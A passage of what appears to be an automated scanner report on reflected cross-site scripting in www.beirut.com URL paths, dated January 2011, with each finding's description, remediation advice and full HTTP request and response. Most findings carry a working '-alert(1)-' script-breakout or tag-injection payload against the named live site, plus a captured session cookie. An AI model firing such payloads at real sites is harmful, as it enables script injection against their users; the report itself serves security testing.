This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Restaurants87bd8"><a>b7211b4e85/Health-and-Diet-Shops/34430696 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:41:08 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60280
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Restaurants87bd8"><a>b7211b4e85"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4fb93'-alert(1)-'64c467db7a1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Restaurants4fb93'-alert(1)-'64c467db7a1/Health-and-Diet-Shops/34430696 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:50:12 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60291
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Restaurants4fb93'-alert(1)-'64c467db7a1/Health-and-Diet-Shops'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 90987'-alert(1)-'f376bd7dc13 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Restaurants/Health-and-Diet-Shops90987'-alert(1)-'f376bd7dc13/34430696 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:59:04 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 57521
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Restaurants/Health-and-Diet-Shops90987'-alert(1)-'f376bd7dc13'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9bb78"><a>b553ecdde1b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Restaurants9bb78"><a>b553ecdde1b/Ice-Cream-and-Sweets/2144072380 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:53:44 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60342
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Restaurants9bb78"><a>b553ecdde1b"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bc6d6'-alert(1)-'b85be5bc31d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Restaurantsbc6d6'-alert(1)-'b85be5bc31d/Ice-Cream-and-Sweets/2144072380 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:01:01 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60284
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Restaurantsbc6d6'-alert(1)-'b85be5bc31d/Ice-Cream-and-Sweets'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 44d05'-alert(1)-'e5bf22974c0 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Restaurants/Ice-Cream-and-Sweets44d05'-alert(1)-'e5bf22974c0/2144072380 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:06:19 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 61110
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Restaurants/Ice-Cream-and-Sweets44d05'-alert(1)-'e5bf22974c0'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload abf1a"><a>aa61017ead2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Restaurantsabf1a"><a>aa61017ead2/Juice-Stalls/528624339 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:47:50 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60171
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Restaurantsabf1a"><a>aa61017ead2"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c79f0'-alert(1)-'4eefd7ec071 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Restaurantsc79f0'-alert(1)-'4eefd7ec071/Juice-Stalls/528624339 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:00:45 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60597
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='green'; var indexpage='Restaurantsc79f0'-alert(1)-'4eefd7ec071/Juice-Stalls'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 19117'-alert(1)-'d1c1a51eafe was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Restaurants/Juice-Stalls19117'-alert(1)-'d1c1a51eafe/528624339 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 09:04:04 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 58527
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Restaurants/Juice-Stalls19117'-alert(1)-'d1c1a51eafe'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 841f9"><a>21d75454e93 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Restaurants841f9"><a>21d75454e93/Take-Away/646084613 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:44:49 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60152
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Restaurants841f9"><a>21d75454e93"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 29b3d'-alert(1)-'6978ed6be48 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Restaurants29b3d'-alert(1)-'6978ed6be48/Take-Away/646084613 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:52:41 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60260
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Restaurants29b3d'-alert(1)-'6978ed6be48/Take-Away'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 732c1'-alert(1)-'459e64ce0f5 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Restaurants/Take-Away732c1'-alert(1)-'459e64ce0f5/646084613 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:58:05 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54822
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Restaurants/Take-Away732c1'-alert(1)-'459e64ce0f5'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 20a14'-alert(1)-'7bc71a9c1b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Restaurants20a14'-alert(1)-'7bc71a9c1b/Winery/0312375197 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:42:08 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60265
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Restaurants20a14'-alert(1)-'7bc71a9c1b/Winery'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7e9aa"><a>183d4f3f7ae was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Restaurants7e9aa"><a>183d4f3f7ae/Winery/0312375197 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:36:22 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60454
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Restaurants7e9aa"><a>183d4f3f7ae"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e6d85'-alert(1)-'e0df76b5580 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Restaurants/Winerye6d85'-alert(1)-'e0df76b5580/0312375197 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 08:47:21 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54790
